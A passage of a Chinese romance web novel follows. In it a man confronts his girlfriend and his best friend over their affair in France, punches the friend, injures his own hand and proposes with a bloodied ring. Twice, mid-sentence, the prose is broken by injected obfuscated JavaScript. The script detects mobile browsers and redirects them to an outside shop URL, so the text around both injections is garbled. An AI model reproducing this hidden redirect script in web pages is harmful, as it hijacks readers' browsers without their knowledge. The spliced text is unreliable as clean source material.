他感觉到酒精已经在侵蚀他的肌肉、骨骼,以至于他有些站不稳。 他终于望向谭诺,用全场只有他们三个人才能听懂的语言问她:“只有我亲过你,他有吗?” 谭诺的手握紧了酒杯。 她该怎么办?她可以继续说谎吗? 孙庭誉在谭诺的沉默里感觉到自己的心死了。 他忽然没来由地趔趄了一下,谭诺想要拉住他,他却甩开了她的手。 其实他没有用力的,但是酒意让他看起来已经失去了控制自己身体的理智。 钟屹站在他身后,一直强行地让自己站在原地,谭诺不想他做的事,他可以忍住不做的,但是看到谭诺被推着往后退了一步,他条件反射地挡在她的面前。 “不关她的事,”钟屹说,“是我没仔细听。” 孙庭誉好笑地看着钟屹,又看了一眼谭诺。 他感觉到彻骨的寒冷,他现在感觉自己就像起泡酒上虚浮的泡沫,被人晃来晃去,随时要炸开。 “诺诺,你过来。”他对谭诺招手。 钟屹却依然站在谭诺的面前,“我说了,不关她的事。” 孙庭誉低头笑了一下,再抬头时他终于冷着一张脸,一拳砸在了钟屹的脸上。 钟屹因为他突如其来的拳头,头微微地侧着。 场面瞬间变得难看起来,在坐的人并不认识钟屹,现在也都不知道该做什么反应,只是捂着嘴巴,连怎么劝架都不知道。 谭诺只觉得全身的血液都停止了流淌。她双手攥紧,她知道一切都完了。 钟屹没什么反应,像是感觉不到疼。 他没有要还手的意思,还是站在谭诺的身前。 “我说了,不关她的事,”他看向孙庭誉,静静地出声,“都是我。” 孙庭誉感觉到孙庭誉觉得眼前的画面太可笑了,相当可笑,可笑到……他笑不出来,酒精带来的火已经在灼烧他的心脏,但是他还不想死心。 “诺诺,我要听你说。”孙庭誉艰难地走到谭诺面前,他指着钟屹的脖子,一个字一个字地说出声,“跟我说,那上面的痕迹,不是你咬的。” chap25 孙庭誉在前一刻还在妄想,可能他们之间只有一个吻,至少钟屹脖子上的痕迹跟谭诺无关。 那个吻可能是意外。 但是等到他看到谭诺惊慌的神情后,这几天一直被他忽略的谭诺不同于从前的行为连同谭诺此刻的沉默宣判了他死刑。 所以,钟屹和谭诺的那个吻发生在谭诺去安纳西的早上吗? 他起床没有看到她,那个时候她在一墙之隔的屋外和钟屹接吻? 她在和钟屹接吻。 孙庭誉只敢想到这里,直到看到挡在谭诺面前的钟屹,钟屹脖子上的咬痕像是将他拉进深海里的一双手,一只手死死地攥住了他的脚腕将他往海的最深处拖,另一只掐住了他的脖颈。 孙庭誉快要无法呼吸了。 他一把挥开挡在谭诺身前的钟屹,几乎是用乞求的目光看着谭诺。 “告诉我,那里不是你咬的。” 孙庭誉的太阳穴在突突地跳,但是不可能的,他们根本没有时间做这些,这两天谭诺和许奈在一起,而钟屹的妈妈死了。 谭诺因为孙庭誉眼里的神情说不出话来。 孙庭誉的目光就像在乞求她骗他,她也不明白自己为什么做都做了,却无法伪装,可是她真的不会撒谎,特别是对着孙庭誉。 她试着说:“不……” 谭诺说不出口。 孙庭誉的心死了。 有那么十秒钟,他的脑子里什么也没有,忘记了自己在哪里,周围都有谁。 一阵海风吹过,孙庭誉回神地搓了一下自己的脸,用法语跟周围面色各异的朋友说:“吓到你们了,很晚了,你们去休息,没什么。” 说完,他拉着谭诺的手要离开,他要先离开这里,到一个只剩下他和谭诺的地方。 但是孙庭誉看到钟屹还要上前,钟屹盯着他握着谭诺的手,就好像在担心他会对谭诺做出什么事。 孙庭誉这一刻真想要杀了他。 “你最好别过来。” 他将谭诺握得很紧很紧,像是怕她会跑掉,但是诺诺不会的。 “你松开她。”钟屹忽然不想忍了,他不想每一次只是看着谭诺被人牵着离开,她看起来有些痛,“松开她。” 谭诺被孙庭誉拉着,下意识地对钟屹摇了一下头,她的人生再也不会有比现在更乱更难堪的场面了。 她知道她伤孙庭誉很深,她也知道她现在不可以跟钟屹说任何话,这是对孙庭誉的二次伤害。 所以她匆匆地收回了落在钟屹脸上的目光。 她没有被孙庭誉握住的那只手紧紧地贴住自己的衣角,试图寻找一种妥帖的感觉。 她对孙庭誉说:“你有话要跟我说,那我们走吧。” 她欠孙庭誉一个道歉。 钟屹因为她的话终于停下了脚步,他双手紧握,胸腔一片寂静。 他站在原地,周围的人慢慢散去,没有人来和他说话,因为,他们本来就不是他的朋友。 谭诺走了,她还会回来么? - 谭诺被孙庭誉拉着往前走,他的脚步很快,前所未有的快。 从前就算是两人赶飞机,他也是一手拖着行李,一手牵着她慢慢走。 孙庭誉说过,没什么着急的,错过了就改签下一班。 但是现在,他失去了所有的从容不迫。 谭诺竟然在这个时候莫名其妙地想起孙庭誉和自己表白的那一天。 那一天是他的生日,他也是忽然牵着她的手跑出宴客厅,他带着她跑得很快,脚步却不像现在这样。 谭诺发现孙庭誉并没有带着她回到不久前的酒店房间,而是从海边绕到了酒店旁的一栋别墅外。 别墅的门半掩着,透过门的缝隙还能看到一点微光,门上也被串上了许多闪着光的灯串,谭诺有很多的疑问,但是她没有出声。 她不知道自己该说些什么。 孙庭誉自始至终攥着她的手,他抬起了另一只手,想要推开眼前这扇门,但是他最后还是没有动。 谭诺借着灯光看到了,孙庭誉的手在抖。 “要进去吗?”她伸出手,想要帮他推,孙庭誉却在这时松开了握住她的那只手。 孙庭誉就站在门外的长廊上,看着谭诺,倏地出声。 “是因为我不能陪你,你失望了,生气了,才这么做的,对吗?”谭诺张开嘴唇时,“我……” “你要说是,”孙庭誉却没有听下去的勇气,“因为我接受不了别的答案。” 谭诺看着他难看透顶的脸色,内心前所未有的煎熬。 孙庭誉点了点头,终于又为谭诺找到了一个理由。 他紧紧地握住谭诺的肩膀,眼里带着乞求的光。 “来尼斯的那天,你问我是不是出轨了,”他盯着她说,“你怀疑我出轨了,所以才找到我最好的朋友,为了惩罚我,对吗?” 谭诺怔在原地,心情越发地复杂。 “说是啊。”孙庭誉说。 谭诺僵在了原地,因为她看到孙庭誉的眼睛好红好红。她伤害到他了,他在痛苦,这种感觉让她本能地想要逃避。 “对,因为,因为我以为你出轨了,才……” “几次?”孙庭誉的声音非常压抑,“是你去安纳西的那个早晨?就那一次,是不是?” 谭诺感觉到自己身上开始冒冷汗,后背也是。 孙庭誉的心又被谭诺的沉默重重地踩了一脚,他那颗半死不活的心里忽然涌现出了一个可怕的念头,可怕到他呼吸变得急促。 “你们,”孙庭誉感觉到一阵眩晕,“在安纳西见面了?” 谭诺就要站不住了。 他的眼神在得到了无声的答案后,变得空洞,他突然也不知道该怎么办了。 “我也不知道——”谭诺还想要解释发生的一切,但是她该怎么解释,她做了,她都做了。 孙庭誉得到了致命一击。 他们在安纳西见面了,甚至可能在他到前的一分钟,他们还在一起。 脑海里是钟屹脖子上的痕迹,那是谭诺留下的,那是谭诺留下的。 他觉得自己要疯了,可能已经疯了。 谭诺紧张地看着他,却看到孙庭誉突然笑了一下,问:“他怎么样?” 谭诺听到他手的骨头在作响的声音,她咬着嘴唇没有回答。 孙庭誉却忽然低吼了一声,“你说话啊。” “我不知道!”谭诺说,孙庭誉嘶哑的声音传进她的耳朵里,她根本无法思考。 孙庭誉在颤抖,所有画面前仆后继地挤进他的心脏,四分五裂的心脏。 他忽然脆弱地问,“你爱他么?” 谭诺被他这双盛满了悲伤的眼睛盯着,说不出话来。 这个世上没有人会在几天的时间里爱上一个人,所以,这不是爱。 她摇了摇头。 “那,你喜欢他么?” “我……” “所以你喜欢,”孙庭誉点了下头,向后退了一步,“我了解你的,我了解你的。” 谭诺没有反驳,这几天一直以来被她刻意避开的问题就这样被孙庭誉以最不体面的方式撕开。 谭诺看着他痛苦不堪的样子,最后也只是说:“对不起,我不是故意想要伤害你的。” 原来到了这个时候,除了对不起真的没有别的话可以说。 说什么都是狡辩。 她看到他的眼睛通红,谭诺小心翼翼地伸手去握孙庭誉的掌心,那里还在发抖。 她忽然看到了上面的一点红色,是孙庭誉打钟屹时出的血。 意识到这一点,她的手也有些发颤。 谭诺终于抓住了孙庭誉的手掌,那里持续的抖动并没有因为她倏然握住有任何的改善。 他的手好凉好凉,从前的温度消失不见。 “你不要这样,我知道我伤害了你,我——” 孙庭誉却反抓住她的手,谭诺感受到他掌心的冷汗,密密麻麻地传递到她的手心里。 “跟他睡的时候,你有想到过我吗?”他问。 “有担心我知道以后会痛苦吗?”他还在追问。 谭诺在他的目光下同样痛苦地点了一下头。 “那你为什么不骗我?”孙庭誉说,“只要你骗我,我就会相信。” 谭诺感觉到心碎。 她的脸皱了起来,“因为骗你让我很难受。” 喉咙像是有东西堵着,“骗你让我很难受。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9697625|101193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她把他们给毁了。 孙庭誉的心因为这句话被掐住。 “看到我痛苦,你会心疼啊。”孙庭誉已经彻底陷入这个怪圈,“那为什么还会做呢?” 他几乎自言自语地说,“那为什么?” 海风在往他的胸口刮,孙庭誉已经没有知觉了。 谭诺的目光一直注视着他的眼睛,她感觉到孙庭誉已经濒临崩溃。 手机在这时响起,谭诺拿出来一看,是钟屹的电话。 孙庭誉也看见了。 谭诺慌张地想要挂断,孙庭誉却在看到那个号码后,无法控制地将谭诺手里的手机抢了过来,用力地砸向他背后的墙壁上。 嘭的一声响,手机屏幕被摔得四分五裂,谭诺吓坏了,她从来没有看到过孙庭誉这个样子。 孙庭誉砸掉手机后,手握成拳头情绪失控地恶狠狠地锤了一下墙壁上,几乎是一瞬间,谭诺看到他的手背血肉模糊。 她紧张地捂住嘴巴,“孙庭誉!” 孙庭誉根本听不见,开始扯门上挂着的灯串。 谭诺拉他的袖子,难过地问:“你别这样,你不疼吗?” 灯串被扯完后,孙庭誉站在原地,谭诺忽然说不出话了,因为她看到有一滴眼泪从孙庭誉的脸上落了下来。 她从来没有见过他哭,这是第一次。 他的目光里什么都不剩,站在原地,看了一眼地上碎掉的手机还有灯串,像是不知道发生了什么。 “你的手要包扎。”谭诺的声音有些哽咽,她还在拉他。 但是孙庭誉像是没有听见她的话,他收回被她拉着的手,周遭的一切都被他隔绝开,他就这样恍惚地往与大门相反的方向走。 “孙庭誉。”她叫他的名字。 谭诺在他的身后看着他,他的脚步有些踉跄,地面不平整,他看起来随时要摔倒的样子,她想过去拉住他,告诉他她有点害怕,但是这是她第一次觉得现在孙庭誉最不想见到的人就是她。 是她把他变成这样的。 孙庭誉走到海边后,没有再向前走。 他的身影停住,谭诺紧张地看着他的背影,她看到他沉默地在原地站了一阵。 他忽然轻声叫她的名字,“诺诺。” 谭诺刚想要走过去,就看到他从口袋里拿出了什么,下一秒就要抛出去。 但是这个动作就这样在半空中凝滞住。 谭诺也在原地站住,她看到了他最后无力垂落的手。 他想要扔掉却没能下定决心扔掉的东西是什么? 就在她想要看清时,孙庭誉忽地回过头又再度往她的方向走了过来。 谭诺看得到他脸上的眼泪,她知道他在痛苦,他还在痛苦。 她还看得到他手上淋漓的血。 那里刺得她眼睛疼,心也疼。 孙庭誉站在她面前,突然抬手,她盯着那血,腿没站稳地往后退了一步。 孙庭誉的心像是被人生拉硬拽地扯成了两片。 “你在害怕我吗?”孙庭誉的手很轻很轻地落在谭诺的额头上,极力没有让沾着血的地方碰到她,他的声音很轻,“我伤害自己也不会伤害你的,永远。” 谭诺摇了一下头,抓住他衣服的一角,“不是害怕,是你手上有很多血,不疼吗?” “可能也有他的血,”孙庭誉问,“你更心疼我还是他啊。” 谭诺的眼泪就这样掉了下来。 孙庭誉用还干净的掌心去擦谭诺的眼泪,“别哭,我一点也不疼。” 他已经分不清谭诺的眼泪是为了谁。 许久,没有人说话。 孙庭誉突然无力地抱着谭诺。 “是不是我根本不应该出国?”孙庭誉用力地抱着她,“我做错了,诺诺。” “我不该出国的。” 谭诺被他抱着,声音发闷。 “你为什么不怪我?”那样会让她好过一点。 孙庭誉没有回答这个问题,他终于松开谭诺,从口袋里拿出那个刚刚差点被他扔进海里的礼物盒。 上面已经沾上了一点血,谭诺看清楚了,里面是一枚钻戒。 钻石很大很闪,只是上面沾了一点血,就像带着血的眼泪。 chap26 终 谭诺先是盯着那枚沾上了孙庭誉血的钻戒看了许久,接着,她回神一般地抬头看孙庭誉。 戒指,是戒指? “我们在你14岁的夏天遇见,”孙庭誉说话的时候,声音依旧有些抖。“现在,已经是你23岁的夏天了,诺诺,我们认识九年了,时间是不是过得很快?” 谭诺从他说到他们认识九年的时候,眼泪已经控制不住地往下掉。 九年,几乎就要占据她人生的一半,她怎么会忘记呢? “我记得的。” 孙庭誉拿着戒指的手不稳,戒指盒子已经掉到了地上。 “遇见你的那一天是我17岁生日的前一天,再后来,你答应跟我在一起,我一夜都没有睡着,每分每秒都想见到你。”他说话的时候,有一滴眼泪顺着面颊往下落,谭诺也在哭。 她不知道一切为什么会变成这样,为什么孙庭誉会出国?为什么她会背叛他?一切是不是已经被毁了? “这一年,我知道你在国内等我,等得很煎熬,我在这里也一样,这么难,我们都撑过去了。” 孙庭誉再一次牵住她的手,推开眼前的那扇门,谭诺看到了里面的样子。 别墅的院子灯亮着,谭诺看到了一方泳池。还有一棵高耸的树,树下有一个秋千,秋千旁边是两个靠得很近的躺椅。 这是谭诺梦想中的房子。 孙庭誉拉着她往卧室走,两个人的脚步都因为刚刚发生的一切有些沉重。 卧室门外铺满了白色的玫瑰花瓣,谭诺终于知道今天早上孙庭誉的鞋子上为什么会有花瓣了。 她忽然不知道该怎么办才好。 孙庭誉推开了卧室的窗户,静静地说:“你喜欢打开窗就能看到海的房子,我把这里送给你。” 这是他这一年的心血,没有靠他的父母,很多次他都想告诉谭诺,在谭诺在电话里说好想每年夏天住在海边的时候、在谭诺来到尼斯他却不能陪伴她的时候,孙庭誉都很想告诉她。 但是他太想看到她亲眼见到这里时惊喜的样子,一直等到了今天。 但是现在,他的视线因为太过模糊,早已经看不清谭诺的神情,又或者,他不敢看。 是不是他根本不该等的? “我们结婚,好不好?”孙庭誉上前拥住了她,他的声线依旧不稳,声音沙哑,“以后每一年夏天,我们都来这里看海。” 谭诺感受着孙庭誉的怀抱,她听到他的声音,有一种不真切的感觉。 孙庭誉在和她求婚,在知道了这些事之后。 她感觉到鼻子就像被堵住,心痛、自责、愧疚还有种种情绪几乎要将她淹没。 孙庭誉说,这一年她在国内等他,等得很煎熬,是真的,这一年她在准备考研,每当学习学到痛苦的时候,她就会想,如果孙庭誉在她身边就好了。 从前几乎形影不离的人,忽然间隔着这么远的距离,远到要坐快一天的飞机才能见到面。 她是为了给他过25岁生日才来到这里的,但是结局是她在短短几天的时间里背叛了他。 她不知道,她不知道,有海风钻进窗户内,谭诺感觉到冷,还有彷徨。 “我们还能像从前一样吗?你不会忘记这件事的。”谭诺纠结地说,没有人会忘记,越是爱,越不能原谅。 孙庭誉不会再相信她,他现在是出于爱不理智地想要和她永远地在一起,但是未来的每个瞬间,都会提醒他从前发生过的事。 他们回不去了。 谭诺看着孙庭誉手中那枚还在发着光的钻戒,摇头说:“你不会真的放下,以后发生任何事,你都不会再相信我。” 正如,在孙庭誉说过永远不会离开她,却选择出国以后,她对他的信任也打了折扣。 “会的。”孙庭誉握着她的手,低下头压抑着痛苦不断地告诉她,“我会。” 刚刚孙庭誉站在海边,脑子里只有一件事,如果他忍受不了,那就结束,彻底结束,永远也不要再见她,但是站在海边,戒指就要被丢进大海的瞬间,他才意识到,他舍不得,舍不得身后的那个人。 他等这一天等了很多年。 “会的,”孙庭誉想要从她身上汲取一点力量,“是我先做错了,是我先离开你。” 孙庭誉想,他是全世界最愚蠢的人,是他自以为是地离开谭诺,让钟屹去接机,是他让谭诺用着钟屹的手机,孤零零地一个人去安纳西,是他先犯蠢的。 但是现在没关系了,手机摔碎了,他已经为她买了新的手机。 这里的工作已经结束,等到过两天他们一起回到江市,在这里发生的一切就都揭过。 “只要你一直在我身边,我不会再去想,”孙庭誉的眼睛很红,痛意还在持续不断地往上涌,“答应我,永远不要再见他。” 谭诺的手被孙庭誉握着,他伤口上的血液有些凝固,但是碰到依旧有那种湿滑黏腻的感觉。 她的心一跳一跳的,淡淡的血腥味让她的精神无法集中。 她想告诉孙庭誉,她不会再见钟屹了,她从安纳西回来就打算不再见他了,但是她挣扎地想,或许她可以做到不去找他,但是钟屹来找她呢? 孙庭誉看得出来她的挣扎和犹疑,他的手慢慢松开了谭诺。 “你还爱我吗?” 谭诺对上孙庭誉溢满了悲哀的眼睛,她知道自己是爱的,不然不会来到这里。 “爱,爱的。” 可是,爱还是发生了难以挽回的事,现在她该答应孙庭誉的求婚吗? 她已经伤他很深,但是他们真的还能够像从前一样? 还有,还有……她不敢任由自己想下去了。 孙庭誉一瞬不瞬地注视着她说:“这枚戒指是我在出国前买下的,那个时候我就想和你求婚。” 但是孙庭誉最终还是没有,因为他想等他证明靠他自己就可以让谭诺过上优渥的生活的时候,再向她求婚。 “如果去年我的生日,我没有出国,”他忐忑地出声,“向你求婚,你会答应我吗?” 孙庭誉不知道自己为什么会问这个问题,正如他不知道他期待谭诺给出什么答复。 谭诺眉头蹙了起来,她的答案是,会的。 在孙庭誉从瑞士赶回来陪她过年时,从孙庭誉每一年的生日愿望都是来年的生日希望她还在他身边时,她没有想过要和他分开的。 为什么那个时候会,短短的一年就会改变呢? “会的。”她茫然地在孙庭誉的注目下答道。 孙庭誉点了点头,他将戒指放到了床头的柜子上。 柜子上还放着崭新的手机,他想起被他摔碎的钟屹的手机。 孙庭誉知道发生了什么,谭诺的注意力被别人拉走了一阵。 但是没关系,他有信心让她回来的。 他等谭诺和他在一起等了四年,他还可以等到谭诺将心放回到他身上。 他擦掉了谭诺眼角的泪水,温柔地说:“诺诺,从前我帮你补习,你总是不时被窗边的飞鸟吸引走注意力,那个时候我跟你说的话,你还记得吗?” 谭诺不知道孙庭誉为什么在这个时候说起这个,她努力地去回想,她想到了。 孙庭誉会笑着摸一下她的头,告诉她:“学累的时候,走一下神也可以,只要再把注意力转回来就好了。” 孙庭誉将额头贴着谭诺的额头,“注意力走了,收回来就好。” 谭诺怔怔地站在原地。 “他说过爱你吗?他没有。” 谭诺没有说话。 “但是我爱你,我会一直爱你。”孙庭誉的嗓子发苦,“诺诺,你答应过我的,会永远爱我,你不能不守承诺。” “我不知道,”谭诺突然崩溃地蹲了下来,将脸贴在腿上,“我的脑子很乱很乱。” 这几天,她都过得很混乱,她不知道怎么做才是对的。 孙庭誉也跟着蹲了下来,看到她这样,他很不好过。 “我给你时间,诺诺,不要这样,”他声音涩然,“今晚我不打扰你,你慢慢想。” 十二点的钟声响起,这是孙庭誉25周岁的生日。 - 孙庭誉说给谭诺思考的时间是真的,他也需要到一个没有人的地方获得一丝喘息。 他想要发疯,但是找不到对象。 看着谭诺在卧室里躺下后,他就离开,漫无目的地往酒店走。 夜很深了,孙庭誉在黑暗中每走一步都在恨自己,恨自己的同时也在恨谭诺。 他从来不知道,原来爱与恨的界限从来不分明,她背叛了他们的感情,但是他却没办法离开她。 他做不到。 他知道他的人生大约不会有比今天更痛的一天了,兴许还有,只有谭诺能给他。 这是他自找的。 他不该出国,不该离开她。 孙庭誉就这样失魂落魄地走回到今晚吃饭的地方,人群早已散去,他也完全没有心思去想他的同事会怎么想,他的脑海里只有谭诺。 如果明天,她拒绝他,他该怎么办?他感到惶然,这就是他违背承诺要付出的代价吗? 孙庭誉原本想回酒店,好好地休息,他需要休息,休息好才能继续挽回谭诺,结果这时却不经意地看到不远处的树下站着一个人。 这里没有灯,只有海上那轮月。 孙庭誉看到了树下的那张脸。 是钟屹。 钟屹背靠在树干上,原本低垂着头,这时也看了过来。 孙庭誉感觉到那颗冒着火的心再一次被点燃,他想起不久前钟屹打给谭诺的那个电话,如果他不在,钟屹打算跟谭诺说什么?这几天,在他不知道的时候,他们都说了什么,做了什么? 他竭力地克制着,没有让自己在钟屹面前再一次爆发。 孙庭誉从来没有觉得这张脸这么可恨过,过往那些友情就在一个晚上以最荒诞的形式随着海风逝去,孙庭誉连一点残骸都摸不到。 孙庭誉到现在还是不明白钟屹为什么会这么做,他刚刚在面对着谭诺的时候没有心情去想,但现在对上钟屹,他想不出。 他竟然还以为他们是很好的朋友。 “你在这里还想干什么?”孙庭誉语气恶劣。 钟屹终于离开树干,站直了身体,走出了树的阴影。 “我在等她。”钟屹说话时表情坦然,就像在等待一个他本就应该等的人。 孙庭誉看到他脸上的伤口,他只觉得自己打得还不够重,他现在杀了钟屹的心都有。 “她人呢?”钟屹问道。“你不让她接我的电话么?” 孙庭誉终于按捺不住内心的恨意,冲上去对着钟屹的脸又是狠狠的一拳。 他完全没有收着力,钟屹也完全没有要躲的意思。 被打了一拳以后,钟屹还是维持着站在原地的姿势,脸因为孙庭誉的拳头有些僵硬,他抬手摸了摸,摸到了一点血。 钟屹对上孙庭誉的视线,甚至笑了笑,只是因为脸上的伤口,这笑容看起来一点也不潇洒。 “打完可以告诉我了么?” 孙庭誉搞不懂,为什么钟屹可以这样无耻,他到现在还觉得这是一场噩梦,谭诺出轨了,出轨对象是他自以为最好的朋友。而这个朋友,现在依旧在恬不知耻地追问谭诺的去向。 钟屹想把他逼疯,但是他不能如他所愿,孙庭誉不能。 孙庭誉深深地吸了一口气,“我不知道你还有什么话要跟她说,但是有件事你好像不清楚。” 钟屹闻言看向他,沉默地等着他接下来的话。 “你知不知道,”孙庭誉冷漠地看着钟屹,就像在看蝼蚁一般,“如果这一年我没有来法国,你再见到她的时候会是在她跟我的婚礼上。” 孙庭誉现在依旧痛,手上的痛已经是最微不足道,但是如果将痛苦转嫁到别人的身上,会不会好过一点? 钟屹面无表情地直视他,大约十秒钟,他倏地笑了。 “但是你不是来了么?”钟屹看起来有些无所谓,“知道她不想你来,但是你还是来了,怪谁?” 孙庭誉被他激怒,又是一拳砸了过去。 “闭嘴。” 钟屹为什么会知道谭诺不想他来法国,那是他在最苦闷纠结时,自己告诉钟屹的。 那个时候,出国证明自己的机会摆在眼前,孙庭誉无法作出决定,便在和钟屹联系的时候说起了这件事,当时钟屹说:“一年而已,你会纠结说明你想去。” 他说,谭诺爱你的话,会等你的。 虽然做决定的是孙庭誉自己,孙庭誉知道他怪不了任何人,但是他现在已经被滔天的恨迷失了眼睛。 他恨到极点地攥住了钟屹的衣领,“你那个时候就在觊觎我的女朋友?” 钟屹不说话,就这样任他扯着自己的衣领。 孙庭誉忽然松开了钟屹。 他就像不认识钟屹一般摇着头说,“我到现在也没有想明白,你为什么这么做?但我起码知道一件事,你就是阴沟里的垃圾,肮脏又见不得光。” 因为见不得光,所以觊觎着别人的美好,肆意破坏。 钟屹眼帘低垂,这样么? “嗯,可能你对我有点了解了。”他不在乎地点了点头,目光里没有受伤,“可惜,你好像不太了解她。” 孙庭誉不断地告诉自己,不要听他说话,他在影响你,他在恶心你,但是仍是下意识地问:“什么?” 钟屹理了一下被孙庭誉攥皱了的衣领,这件衣服是谭诺买给他的,就算是他花的钱,那还是谭诺买给他的。 他的声音在无垠的海边越发的低沉:“你觉得你很了解谭诺么?” “闭嘴,你的嘴里根本不配出现她的名字。” 钟屹像是没听到,依然盯着他说:“你知道她可以穿街边随便一个店里买到的衣服么?” 孙庭誉看到钟屹刚刚用那副无限珍惜的眼神看着自己身上的外套,骤然间想到谭诺行李箱里出现的那件粉色的外套。 但是钟屹的话还没有停止。 “嗯,你知道她喜欢巧克力,但是你知道最喜欢吃哪个牌子?”他声音漠然,带着淡淡的挑衅的意味,“她喜欢在冬天用的香水是什么?她喜欢在夏天用的又是什么?” 孙庭誉僵站在了原地,他想说,他知道谭诺喜欢的所有东西,但是钟屹问住了他。 “你不知道,因为东西是我买的。” “这些统统都是我让你帮忙的,”是因为江市的专柜买不到,孙庭誉才会想到让在日内瓦的钟屹帮忙买。 孙庭誉起初并不怎么麻烦钟屹,是从某一次开始,钟屹会问,上次寄过去的东西,还喜欢吗?孙庭誉感觉得到钟屹并不排斥这样的事,远距离的友情本来就是要相互付出才能维系得更好,孙庭誉也会时常从国内寄很多食物和日用品到日内瓦,并且积极地向钟屹反馈,谭诺喜欢什么,不喜欢什么。 孙庭誉到这一刻才迟钝地想起,似乎从很早开始,钟屹就以各种理由不再收他转过去的钱,而他也只能在其他方面补回这个人情。 所以,从那个时候就开始了吗? “是你让我介入的,”钟屹的眼神透着彻骨的恶,“所以你怪不了任何人,我是肮脏阴暗,那又怎样?是你给的机会。” 孙庭誉已经说不出话了。 钟屹终于有机会把这些话说出口:原来做坏人远比做不彻底的好人要痛快。 “你以为你的世界围绕着你转,我也要围着你转?”没有这样的道理啊。 钟屹盯着他一字一顿:“是你从认识她开始,每一天都在跟我讲述她。我原本不想听,但是你看不出来。她在我脑海里的样子是靠你形成的,孙庭誉。” 钟屹想,他没有想爱谭诺的,没有想要抢走她,是孙庭誉日复一日地硬生生地将谭诺挤进他本就不堪的心里。 他拥有的实在太少太少,所以冷眼旁观着任由她在自己的心里生根、发芽,就像开在墓地里的花。 现在,这朵开在阴暗角落的花,又变成了一把刀捅在了孙庭誉的心上。 钟屹看得出来,孙庭誉还想要打他。 “事不过三,”钟屹说,“下面,我也不会手软了。” 孙庭誉摇头,钟屹误会了,他这样恶心的人,他连碰都不想再碰到他。 “我们不再是朋友了。”孙庭誉说,可能钟屹从没有把他当成朋友。 钟屹沉默地点了一下头,这是他意料之中的事。 他以为孙庭誉会离开,但是孙庭誉刚要转身,忽然再一次看向钟屹。 “你说过爱她吗?”孙庭誉问。 钟屹站定在原地,看着孙庭誉。 孙庭誉笑了,“你这样的人根本不会爱人。你连健全的人格都没有,钟屹,你没有。” “你妈死了,你没有感觉,友情破裂了,你不会遗憾,你就是这样的人。没有情感,没有道德,你就是个怪物。” 钟屹的眼神变了,孙庭誉终于感到快意,那把刀不应该只插在他一个人的心上。 “怎么不说话?她说过爱你吗?她说过喜欢你吗?” 孙庭誉看得出钟屹的目光变得涣散,很好,至少他不是唯一一个不好过的人。 “没有,因为她不爱你,甚至连喜欢都算不上,”孙庭誉说话的时候,头皮依旧在痛,但是他停不下来,“我了解她的,只是因为你从前不把她放在心上,所以她才会好奇,诺诺就是好奇心很重的人。” 钟屹没有说话,孙庭誉感觉到前所未有的快慰。 “还有可怜你。是我对她说,你从小和妈妈分开,”直到这一刻,孙庭誉也没有想过自己会说出这样的话,他在伤害他曾经的朋友,他还可以更狠。 “所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9715881|101193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,她可怜你。” 钟屹脸上没什么表情,他感觉到海风吹着他的头,让他有些晕,还有些冷,他的手紧紧地攥住了身上的外套。 “这样啊,”钟屹说,“但是,我不在乎啊。” “那很好,你就在这里等她吧,但是她不会再找你,也不会再见你。”孙庭誉笑着看向他,“不信,你等。” 孙庭誉决定离开。 走前,他留下了最后两句话。 “对了,我和她求婚了,”孙庭誉说,“这一次,就不邀请你了。你花过的钱我会转给你,这一次,记得收。” 孙庭誉已经耗尽了自己全部的力气,他没有再看钟屹一眼,但是,在背对着钟屹的时候,他面上的笃定和自信完全地消失。 孙庭誉疲惫不堪地想:钟屹不是赢家,但是他也已经输了。 - 孙庭誉走了。 钟屹仍旧站在原地,宽阔无边的大海边除了他再也没有一个人。 钟屹只能听到海浪的声音。 等到他回过神,他早已不知道自己在哪里。 谭诺依旧不接他的电话,久久的滴声后只有冷漠的女声告诉他,滴声后请留言。 钟屹挂掉了电话,举目四望,他找不到谭诺了。 - 钟屹四处寻找谭诺,但是没有找到她,大约一个小时后,他迷茫地站在原地,一种冲动驱使着他去一个地方。 他今晚喝了酒,就这样走出沙滩时,他看到了道路旁还有一辆出租车。 钟屹坐上了回尼斯的出租车。 谭诺要回国,就还会回到尼斯。 他在戛纳见不到她,那也没关系,他可以在尼斯等她。 车停在了天使湾,天已经不能再暗。 四处无人,钟屹就这样坐在石滩上。 这是那天谭诺和那两个小女孩玩游戏躺着的地方。 唯一不同的是,现在是深夜,而这里也只有他一个人。 他又开始给谭诺打电话,电话那头一直处于无人接听的状态,她在想什么?真的答应孙庭誉永远不会再见他? 眼前是望不到尽头的大海,钟屹感觉自己就像站在世界的边缘。 夜晚的天使湾再也不同于和谭诺一起呆在这里时的样子,深蓝的黑墨一样的海水就像随时会将他淹没。 海风没有止息,海浪无休止地拍打着岸边,钟屹就这样安静地看了许久许久。 他终于再一次给谭诺打电话,这一次,依旧是无人接听的状态。 在漫长的等待后,钟屹再一次听到听筒里的女声对他说,该用户无法接通,如有需要,滴声后请留言。 这一次钟屹没有挂断,语音留言还是钟屹去年在运营商无数次来电骚扰时办理的功能,但是他从来没有用过。 这是第一次。 滴声之后,钟屹顿了许久,没有说话。 海浪又轻轻扑了过来,就好像脚步声。 钟屹倏地轻声对着手机听筒开口:“谭诺。” 他没有办法像孙庭誉那样叫她诺诺、宝宝。 “你现在在哪里?”他问,“还在他那里啊。” 耳边自然除了海水的声音,不会有任何声音回答他。 